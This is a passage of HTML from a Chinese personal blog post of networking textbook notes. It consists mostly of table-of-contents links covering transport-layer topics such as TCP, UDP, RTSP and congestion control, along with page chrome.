href="#BOOTP-RFC-951-1048-1084"><span class="toc-number">4.5.3.3.</span> <span class="toc-text">BOOTP RFC 951&#x2F;1048&#x2F;1084</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#DHCP"><span class="toc-number">4.5.3.4.</span> <span class="toc-text">DHCP</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#BOOTP-DHCP-%E6%B6%88%E6%81%AF%E6%A0%BC%E5%BC%8F"><span class="toc-number">4.5.3.5.</span> <span class="toc-text">BOOTP&#x2F;DHCP 消息格式</span></a></li></ol></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%A0%87%E7%AD%BE%E4%BA%A4%E6%8D%A2%E5%92%8C-MPLS"><span class="toc-number">4.6.</span> <span class="toc-text">标签交换和 MPLS *</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#2-5-%E5%B1%82%E5%8D%8F%E8%AE%AE"><span class="toc-number">4.6.1.</span> <span class="toc-text">2.5 层协议</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#OSPF-%E2%80%94%E2%80%94-%E5%86%85%E9%83%A8%E7%BD%91%E5%85%B3%E8%B7%AF%E7%94%B1%E5%8D%8F%E8%AE%AE"><span class="toc-number">4.7.</span> <span class="toc-text">OSPF —— 内部网关路由协议</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#Internet-%E4%B8%8A%E7%9A%84%E5%86%85%E9%83%A8%E7%BD%91%E5%85%B3%E5%8D%8F%E8%AE%AE"><span class="toc-number">4.7.1.</span> <span class="toc-text">Internet 上的内部网关协议</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%AE%BE%E8%AE%A1%E8%A6%81%E6%B1%82"><span class="toc-number">4.7.2.</span> <span class="toc-text">设计要求</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#BGP-%E2%80%94%E2%80%94-%E8%BE%B9%E7%95%8C%E7%BD%91%E5%85%B3%E8%B7%AF%E7%94%B1%E5%8D%8F%E8%AE%AE"><span class="toc-number">4.8.</span> <span class="toc-text">BGP —— 边界网关路由协议*</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#BGP-%E6%94%BF%E7%AD%96"><span class="toc-number">4.8.1.</span> <span class="toc-text">BGP 政策</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%B7%AF%E7%94%B1%E7%AD%96%E7%95%A5"><span class="toc-number">4.8.2.</span> <span class="toc-text">路由策略</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#BGP-%E5%9F%BA%E7%A1%80"><span class="toc-number">4.8.3.</span> <span class="toc-text">BGP 基础</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#BGP-%E8%B7%AF%E7%94%B1%E9%80%9A%E5%91%8A%E7%9A%84%E4%BC%A0%E6%92%AD"><span class="toc-number">4.8.4.</span> <span class="toc-text">BGP 路由通告的传播</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%B7%AF%E7%94%B1%E5%99%A8%E5%A6%82%E4%BD%95%E4%B8%BA%E6%AF%8F%E4%B8%AA%E7%9B%AE%E7%9A%84%E5%9C%B0%E9%80%89%E6%8B%A9%E4%BD%BF%E7%94%A8%E5%93%AA%E6%9D%A1%E8%B7%AF%E7%94%B1"><span class="toc-number">4.8.5.</span> <span class="toc-text">路由器如何为每个目的地选择使用哪条路由</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Internet-%E7%BB%84%E6%92%AD"><span class="toc-number">4.9.</span> <span class="toc-text">Internet 组播*</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#IGMP-RFC-3376"><span class="toc-number">4.9.1.</span> <span class="toc-text">IGMP (RFC 3376)</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#PIM"><span class="toc-number">4.9.2.</span> <span class="toc-text">PIM</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E7%A7%BB%E5%8A%A8-IP"><span class="toc-number">4.10.</span> <span class="toc-text">移动 IP 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-</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta"><i class="fas fa-circle-user fa-fw"></i>文章作者: </span><span class="post-copyright-info"><a target="_blank" rel="noopener" href="https://github.com/jckling">Jckling</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta"><i class="fas fa-square-arrow-up-right fa-fw"></i>文章链接: </span><span class="post-copyright-info"><a href="https://jckling.github.io/2018/06/22/Notes/Computer%20Networks/The-Transport-Layer/">https://jckling.github.io/2018/06/22/Notes/Computer Networks/The-Transport-Layer/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta"><i class="fas fa-circle-exclamation fa-fw"></i>版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://jckling.github.io" target="_blank">Jckling's Blog</a>！</span></div></div><div class="tag_share"><div class="post-meta__tag-list"><a class="post-meta__tags" href="/tags/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/">计算机网络</a><a class="post-meta__tags" href="/tags/Computer-Networks/">Computer Networks</a></div><div class="post_share"><div class="addtoany"><div class="a2a_kit a2a_kit_size_32 a2a_default_style"><a class="a2a_button_facebook"></a><a class="a2a_button_twitter"></a><a class="a2a_button_wechat"></a><a class="a2a_button_sina_weibo"></a><a class="a2a_button_facebook_messenger"></a><a class="a2a_button_email"></a><a class="a2a_button_copy_link"></a><a class="a2a_dd" target="_blank" rel="noopener" href="https://www.addtoany.com/share"></a></div></div><script async="async" src="https://static.addtoany.com/menu/page.js"></script></div></div><div class="post-reward"><div class="reward-button"><i class="fas fa-qrcode"></i>赞助</div><div class="reward-main"><ul class="reward-all"><li class="reward-item"><a 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The Network Layer"><img class="cover" src="https://i.loli.net/2021/06/14/z9KUc1FV7eaD8pi.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2018-06-15</div><div class="title">《计算机网络（英文版·第5版）》 The Network Layer</div></div></a></div></div></div><hr class="custom-hr"/><div id="post-comment"><div class="comment-head"><div class="comment-headline"><i class="fas fa-comments fa-fw"></i><span> 评论</span></div></div><div class="comment-wrap"><div><div id="waline-wrap"></div></div></div></div></div><div class="aside-content" id="aside-content"><div class="card-widget card-info"><div class="is-center"><div class="avatar-img"><img src="https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/avatar.jpg" onerror="this.onerror=null;this.src='https://cdn.jsdelivr.net/gh/jckling/jckling.github.io/img/jckling/avatar_404.png'" alt="avatar"/></div><div class="author-info__name">Jckling</div><div class="author-info__description"></div></div><div class="card-info-data site-data is-center"><a href="/archives/"><div class="headline">文章</div><div class="length-num">124</div></a><a href="/tags/"><div class="headline">标签</div><div class="length-num">46</div></a><a href="/categories/"><div class="headline">分类</div><div class="length-num">9</div></a></div><a id="card-info-btn" target="_blank" rel="noopener" href="https://github.com/jckling"><i class="fab fa-github"></i><span>Follow Me</span></a></div><div class="card-widget card-announcement"><div class="item-headline"><i class="fas fa-bullhorn fa-shake"></i><span>公告</span></div><div class="announcement_content">欢迎访问本站 🥳 <br/>评论需要审核，请不要重复提交~</div></div><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-1"><a class="toc-link" href="#%E4%BC%A0%E8%BE%93%E6%9C%8D%E5%8A%A1"><span class="toc-number">1.</span> <span class="toc-text">传输服务</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%8F%90%E4%BE%9B%E7%BB%99%E4%B8%8A%E5%B1%82%E7%9A%84%E6%9C%8D%E5%8A%A1"><span class="toc-number">1.1.</span> <span class="toc-text">提供给上层的服务</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BC%A0%E8%BE%93%E5%B1%82%E7%9A%84%E7%9B%AE%E6%A0%87"><span class="toc-number">1.1.1.</span> <span class="toc-text">传输层的目标</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BD%91%E7%BB%9C%E5%B1%82%E3%80%81%E4%BC%A0%E8%BE%93%E5%B1%82%E5%92%8C%E5%BA%94%E7%94%A8%E5%B1%82%E4%B9%8B%E9%97%B4%E7%9A%84%EF%BC%88%E9%80%BB%E8%BE%91%EF%BC%89%E5%85%B3%E7%B3%BB"><span class="toc-number">1.1.2.</span> <span class="toc-text">网络层、传输层和应用层之间的（逻辑）关系</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BC%A0%E8%BE%93%E5%B1%82%E4%B8%8E%E7%BD%91%E7%BB%9C%E5%B1%82"><span class="toc-number">1.1.3.</span> <span class="toc-text">传输层与网络层</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BC%A0%E8%BE%93%E6%9C%8D%E5%8A%A1%E5%8E%9F%E8%AF%AD"><span class="toc-number">1.2.</span> <span class="toc-text">传输服务原语</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BC%A0%E8%BE%93%E6%9C%8D%E5%8A%A1%E4%B8%8E%E7%BD%91%E7%BB%9C%E6%9C%8D%E5%8A%A1"><span class="toc-number">1.2.1.</span> <span class="toc-text">传输服务与网络服务</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%AE%80%E5%8D%95%E7%9A%84%E4%BC%A0%E8%BE%93%E6%9C%8D%E5%8A%A1%E5%8E%9F%E8%AF%AD"><span class="toc-number">1.2.2.</span> <span class="toc-text">简单的传输服务原语</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%AE%B5%EF%BC%88Segment-%E4%BC%A0%E8%BE%93%E5%8D%8F%E8%AE%AE%E6%95%B0%E6%8D%AE%E5%8D%95%E5%85%83TPDU%EF%BC%88Transport-Protocol-Data-Unit%EF%BC%89%EF%BC%89"><span class="toc-number">1.3.</span> <span class="toc-text">段（Segment, 传输协议数据单元TPDU（Transport Protocol Data Unit））</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BC%A0%E8%BE%93%E5%B1%82%E6%95%B0%E6%8D%AE%E4%BA%A4%E6%8D%A2%E7%9A%84%E5%A4%8D%E6%9D%82%E6%80%A7"><span class="toc-number">1.4.</span> <span class="toc-text">传输层数据交换的复杂性</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%8A%B6%E6%80%81%E5%9B%BE"><span class="toc-number">1.4.1.</span> <span class="toc-text">状态图</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#Berkey-%E5%A5%97%E6%8E%A5%E5%AD%97"><span class="toc-number">1.5.</span> <span class="toc-text">Berkey 套接字</span></a></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E4%BC%A0%E8%BE%93%E5%8D%8F%E8%AE%AE%E7%9A%84%E8%A6%81%E7%B4%A0"><span class="toc-number">2.</span> <span class="toc-text">传输协议的要素</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E4%BC%A0%E8%BE%93%E5%8D%8F%E8%AE%AE%E4%B8%8E%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%8D%8F%E8%AE%AE"><span class="toc-number">2.1.</span> <span class="toc-text">传输协议与数据链路协议</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AF%BB%E5%9D%80"><span class="toc-number">2.2.</span> <span class="toc-text">寻址</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#NSAP%E3%80%81TSAP-%E5%92%8C%E4%BC%A0%E8%BE%93%E8%BF%9E%E6%8E%A5%E7%9A%84%E5%85%B3%E7%B3%BB"><span class="toc-number">2.2.1.</span> <span class="toc-text">NSAP、TSAP 和传输连接的关系</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%9A%84-TSAP"><span class="toc-number">2.2.2.</span> <span class="toc-text">服务器的 TSAP</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%BF%9E%E6%8E%A5%E5%BB%BA%E7%AB%8B"><span class="toc-number">2.3.</span> <span class="toc-text">连接建立</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E5%8C%85%E7%9A%84%E9%87%8D%E5%A4%8D%E5%92%8C%E8%A2%AB%E5%BB%B6%E8%BF%9F"><span class="toc-number">2.3.1.</span> <span class="toc-text">数据包的重复和被延迟</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%B8%89%E6%AC%A1%E6%8F%A1%E6%89%8B"><span class="toc-number">2.3.2.</span> <span class="toc-text">三次握手</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%98%B2%E6%AD%A2%E5%BA%8F%E5%8F%B7%E5%9B%9E%E7%BB%95%EF%BC%88PAWS%EF%BC%89"><span class="toc-number">2.3.3.</span> <span class="toc-text">防止序号回绕（PAWS）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%BF%9E%E6%8E%A5%E9%87%8A%E6%94%BE"><span class="toc-number">2.4.</span> <span class="toc-text">连接释放</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%9D%9E%E5%AF%B9%E7%A7%B0%E9%87%8A%E6%94%BE%EF%BC%88Asymmetric%EF%BC%89"><span class="toc-number">2.4.1.</span> <span class="toc-text">非对称释放（Asymmetric）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%AF%B9%E7%A7%B0%E9%87%8A%E6%94%BE%EF%BC%88Symmetric%EF%BC%89"><span class="toc-number">2.4.2.</span> <span class="toc-text">对称释放（Symmetric）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%9B%9B%E7%A7%8D%E5%9C%BA%E6%99%AF"><span class="toc-number">2.4.3.</span> <span class="toc-text">四种场景</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8D%8A%E5%BC%80%E8%BF%9E%E6%8E%A5%EF%BC%88half-open%EF%BC%89"><span class="toc-number">2.4.4.</span> <span class="toc-text">半开连接（half-open）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#TCP-%E4%B8%AD%E7%9A%84%E9%87%8A%E6%94%BE%E8%BF%9E%E6%8E%A5"><span class="toc-number">2.4.5.</span> <span class="toc-text">TCP 中的释放连接</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%B7%AE%E9%94%99%E6%8E%A7%E5%88%B6%E5%92%8C%E6%B5%81%E9%87%8F%E6%8E%A7%E5%88%B6"><span class="toc-number">2.5.</span> <span class="toc-text">差错控制和流量控制</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82%E7%9A%84%E5%B7%AE%E9%94%99%E6%8E%A7%E5%88%B6%E5%92%8C%E6%B5%81%E9%87%8F%E6%8E%A7%E5%88%B6"><span class="toc-number">2.5.1.</span> <span class="toc-text">数据链路层的差错控制和流量控制</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%93%BE%E8%B7%AF%E5%B1%82%E5%92%8C%E4%BC%A0%E8%BE%93%E5%B1%82%E7%9A%84%E4%B8%8D%E5%90%8C"><span class="toc-number">2.5.2.</span> <span class="toc-text">链路层和传输层的不同</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BC%93%E5%86%B2%E5%8C%BA"><span class="toc-number">2.5.3.</span> <span class="toc-text">缓冲区</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%A4%9A%E8%B7%AF%E5%A4%8D%E7%94%A8"><span class="toc-number">2.6.</span> <span class="toc-text">多路复用</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%B4%A9%E6%BA%83%E6%81%A2%E5%A4%8D"><span class="toc-number">2.7.</span> <span class="toc-text">崩溃恢复</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%AE%A2%E6%88%B7%E5%92%8C%E6%9C%8D%E5%8A%A1%E5%99%A8%E7%AD%96%E7%95%A5%E7%9A%84%E4%B8%8D%E5%90%8C%E7%BB%84%E5%90%88"><span class="toc-number">2.7.1.</span> <span class="toc-text">客户和服务器策略的不同组合</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E7%94%A8%E6%88%B7%E6%95%B0%E6%8D%AE%E6%8A%A5%E5%8D%8F%E8%AE%AE-UDP"><span class="toc-number">3.</span> <span class="toc-text">用户数据报协议 UDP</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%A6%82%E8%BF%B0"><span class="toc-number">3.1.</span> <span class="toc-text">概述</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#UDP-%E6%AE%B5%E7%9A%84%E5%A4%B4"><span class="toc-number">3.1.1.</span> <span class="toc-text">UDP 段的头</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#IP-%E4%BC%AA%E5%A4%B4"><span class="toc-number">3.1.2.</span> <span class="toc-text">IP 伪头</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%BA%94%E7%94%A8"><span class="toc-number">3.1.3.</span> <span class="toc-text">应用</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E5%AE%9E%E6%97%B6%E6%B5%81%E5%8D%8F%E8%AE%AE%EF%BC%88RTSP%EF%BC%89"><span class="toc-number">3.2.</span> <span class="toc-text">实时流协议（RTSP）</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%B5%81%E5%AA%92%E4%BD%93%E6%8A%80%E6%9C%AF%EF%BC%88Streaming-Technology%EF%BC%89"><span class="toc-number">3.2.1.</span> <span class="toc-text">流媒体技术（Streaming Technology）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%AA%92%E4%BD%93%E6%92%AD%E6%94%BE%E5%99%A8"><span class="toc-number">3.2.2.</span> <span class="toc-text">媒体播放器</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E8%8E%B7%E5%8F%96%E9%9F%B3%E9%A2%91%E5%92%8C%E8%A7%86%E9%A2%91"><span class="toc-number">3.2.3.</span> <span class="toc-text">获取音频和视频</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%8D%8F%E8%AE%AE"><span class="toc-number">3.2.4.</span> <span class="toc-text">协议</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#RTSP"><span class="toc-number">3.2.4.1.</span> <span class="toc-text">RTSP</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#RTP"><span class="toc-number">3.2.4.2.</span> <span class="toc-text">RTP</span></a><ol class="toc-child"><li class="toc-item toc-level-5"><a class="toc-link" href="#RTCP"><span class="toc-number">3.2.4.2.1.</span> <span class="toc-text">RTCP</span></a></li></ol></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%B8%A6%E6%9C%89%E7%BC%93%E5%86%B2%E5%92%8C%E6%8A%96%E5%8A%A8%E6%8E%A7%E5%88%B6%E7%9A%84%E6%92%AD%E6%94%BE"><span class="toc-number">3.2.5.</span> <span class="toc-text">带有缓冲和抖动控制的播放</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%88%86%E5%B1%82%E7%BB%93%E6%9E%84%E6%A6%82%E8%A7%88"><span class="toc-number">3.2.6.</span> <span class="toc-text">分层结构概览</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E4%BC%A0%E8%BE%93%E6%8E%A7%E5%88%B6%E5%8D%8F%E8%AE%AE-TCP"><span class="toc-number">4.</span> <span class="toc-text">传输控制协议 TCP</span></a><ol class="toc-child"><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%A6%82%E8%BF%B0-1"><span class="toc-number">4.1.</span> <span class="toc-text">概述</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%9C%8D%E5%8A%A1%E6%A8%A1%E5%9E%8B"><span class="toc-number">4.2.</span> <span class="toc-text">服务模型</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%AF%BB%E5%9D%80-1"><span class="toc-number">4.2.1.</span> <span class="toc-text">寻址</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%9F%A5%E5%90%8D%E7%AB%AF%E5%8F%A3%EF%BC%88well-known-port%EF%BC%89"><span class="toc-number">4.2.2.</span> <span class="toc-text">知名端口（well-known port）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%9C%8D%E5%8A%A1%E5%AE%88%E6%8A%A4%E8%BF%9B%E7%A8%8B%EF%BC%88Service-Daemon%EF%BC%89"><span class="toc-number">4.2.3.</span> <span class="toc-text">服务守护进程（Service Daemon）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#TCP-%E8%BF%9E%E6%8E%A5"><span class="toc-number">4.2.4.</span> <span class="toc-text">TCP 连接</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%AD%97%E8%8A%82%E6%B5%81"><span class="toc-number">4.2.5.</span> <span class="toc-text">字节流</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%BC%93%E5%86%B2"><span class="toc-number">4.2.6.</span> <span class="toc-text">缓冲</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#TCP-%E5%85%B3%E9%94%AE%E7%89%B9%E5%BE%81"><span class="toc-number">4.3.</span> <span class="toc-text">TCP 关键特征</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#TCP-%E6%AE%B5%E7%9A%84%E5%A4%B4"><span class="toc-number">4.3.1.</span> <span class="toc-text">TCP 段的头</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%BF%9E%E6%8E%A5%E5%BB%BA%E7%AB%8B-1"><span class="toc-number">4.4.</span> <span class="toc-text">连接建立</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#SYN-%E6%AE%B5%E4%B8%AD%E7%9A%84%E5%BA%8F%E5%8F%B7"><span class="toc-number">4.4.1.</span> <span class="toc-text">SYN 段中的序号</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%B8%89%E6%AC%A1%E6%8F%A1%E6%89%8B%E7%9A%84%E6%BC%8F%E6%B4%9E"><span class="toc-number">4.4.2.</span> <span class="toc-text">三次握手的漏洞</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%BF%9E%E6%8E%A5%E9%87%8A%E6%94%BE-1"><span class="toc-number">4.5.</span> <span class="toc-text">连接释放</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%81%BF%E5%85%8D%E4%B8%A4%E5%86%9B%E5%AF%B9%E5%9E%92-%E4%BD%BF%E7%94%A8%E8%AE%A1%E6%97%B6%E5%99%A8"><span class="toc-number">4.5.1.</span> <span class="toc-text">避免两军对垒 - 使用计时器</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%BF%9E%E6%8E%A5%E7%AE%A1%E7%90%86%E6%A8%A1%E5%9E%8B"><span class="toc-number">4.6.</span> <span class="toc-text">连接管理模型</span></a></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%BB%91%E5%8A%A8%E7%AA%97%E5%8F%A3"><span class="toc-number">4.7.</span> <span class="toc-text">滑动窗口</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E7%AA%97%E5%8F%A3%E7%AE%A1%E7%90%86%EF%BC%88window-management%EF%BC%89"><span class="toc-number">4.7.1.</span> <span class="toc-text">窗口管理（window management）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8D%8E%E5%B8%A6%EF%BC%88piggybacking%EF%BC%89"><span class="toc-number">4.7.2.</span> <span class="toc-text">捎带（piggybacking）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Nagle-%E7%AE%97%E6%B3%95%EF%BC%88Nagle%E2%80%99s-Algorithm%EF%BC%89-%E5%8F%91%E9%80%81%E7%AB%AF"><span class="toc-number">4.7.3.</span> <span class="toc-text">Nagle 算法（Nagle’s Algorithm）-发送端</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BD%8E%E8%83%BD%E7%AA%97%E5%8F%A3%E7%BB%BC%E5%90%88%E7%97%87%EF%BC%88silly-window-syndrome%EF%BC%89"><span class="toc-number">4.7.4.</span> <span class="toc-text">低能窗口综合症（silly window syndrome）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Clark-%E8%A7%A3%E5%86%B3%E5%8A%9E%E6%B3%95%EF%BC%88Clark%E2%80%99s-solution%EF%BC%89-%E6%8E%A5%E6%94%B6%E7%AB%AF"><span class="toc-number">4.7.5.</span> <span class="toc-text">Clark 解决办法（Clark’s solution）-接收端</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Nagle-%E7%AE%97%E6%B3%95%E5%92%8C-Clark-%E8%A7%A3%E5%86%B3%E5%8A%9E%E6%B3%95"><span class="toc-number">4.7.6.</span> <span class="toc-text">Nagle 算法和 Clark 解决办法</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E8%AE%A1%E6%97%B6%E5%99%A8%E7%AE%A1%E7%90%86"><span class="toc-number">4.8.</span> <span class="toc-text">计时器管理</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%87%8D%E4%BC%A0%E8%AE%A1%E6%97%B6%E5%99%A8%EF%BC%88RTO-Retransmission-TimeOut%EF%BC%89"><span class="toc-number">4.8.1.</span> <span class="toc-text">重传计时器（RTO, Retransmission TimeOut）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Jacobson-%E7%AE%97%E6%B3%95"><span class="toc-number">4.8.2.</span> <span class="toc-text">Jacobson 算法</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#Karn-%E7%AE%97%E6%B3%95"><span class="toc-number">4.8.3.</span> <span class="toc-text">Karn 算法</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8C%81%E7%BB%AD%E8%AE%A1%E6%97%B6%E5%99%A8%EF%BC%88persistence-timer%EF%BC%89"><span class="toc-number">4.8.4.</span> <span class="toc-text">持续计时器（persistence timer）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E4%BF%9D%E6%B4%BB%E8%AE%A1%E6%97%B6%E5%99%A8%EF%BC%88keepalive-timer%EF%BC%89"><span class="toc-number">4.8.5.</span> <span class="toc-text">保活计时器（keepalive timer）</span></a></li></ol></li><li class="toc-item toc-level-2"><a class="toc-link" href="#%E6%8B%A5%E5%A1%9E%E6%8E%A7%E5%88%B6"><span class="toc-number">4.9.</span> <span class="toc-text">拥塞控制</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8B%A5%E5%A1%9E%EF%BC%88congestion%EF%BC%89"><span class="toc-number">4.9.1.</span> <span class="toc-text">拥塞（congestion）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8B%A5%E5%A1%9E%E6%A3%80%E6%B5%8B%EF%BC%88congestion-dectection%EF%BC%89"><span class="toc-number">4.9.2.</span> <span class="toc-text">拥塞检测（congestion dectection）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8B%A5%E5%A1%9E%E6%8E%A7%E5%88%B6%E7%9A%84%E4%B8%A4%E7%A7%8D%E6%96%B9%E6%B3%95"><span class="toc-number">4.9.3.</span> <span class="toc-text">拥塞控制的两种方法</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8B%A5%E5%A1%9E%E7%AA%97%E5%8F%A3%EF%BC%88congestion-window%EF%BC%89"><span class="toc-number">4.9.4.</span> <span class="toc-text">拥塞窗口（congestion window）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#AIMD%EF%BC%88Additive-Increase-Multiplicative-Decrease-%E5%8A%A0%E6%B3%95%E9%80%92%E5%A2%9E%E4%B9%98%E6%B3%95%E9%80%92%E5%87%8F%EF%BC%89"><span class="toc-number">4.9.5.</span> <span class="toc-text">AIMD（Additive Increase Multiplicative Decrease, 加法递增乘法递减）</span></a><ol class="toc-child"><li class="toc-item toc-level-4"><a class="toc-link" href="#%E5%8A%A0%E6%B3%95%E9%80%92%E5%A2%9E"><span class="toc-number">4.9.5.1.</span> <span class="toc-text">加法递增</span></a></li><li class="toc-item toc-level-4"><a class="toc-link" href="#%E4%B9%98%E6%B3%95%E9%80%92%E5%87%8F"><span class="toc-number">4.9.5.2.</span> <span class="toc-text">乘法递减</span></a></li></ol></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E6%8B%A5%E5%A1%9E%E5%B4%A9%E6%BA%83%EF%BC%88congestion-collapse%EF%BC%89"><span class="toc-number">4.9.6.</span> <span class="toc-text">拥塞崩溃（congestion collapse）</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#%E9%98%B2%E6%AD%A2%E6%8B%A5%E5%A1%9E"><span class="toc-number">4.9.7.</span> <span 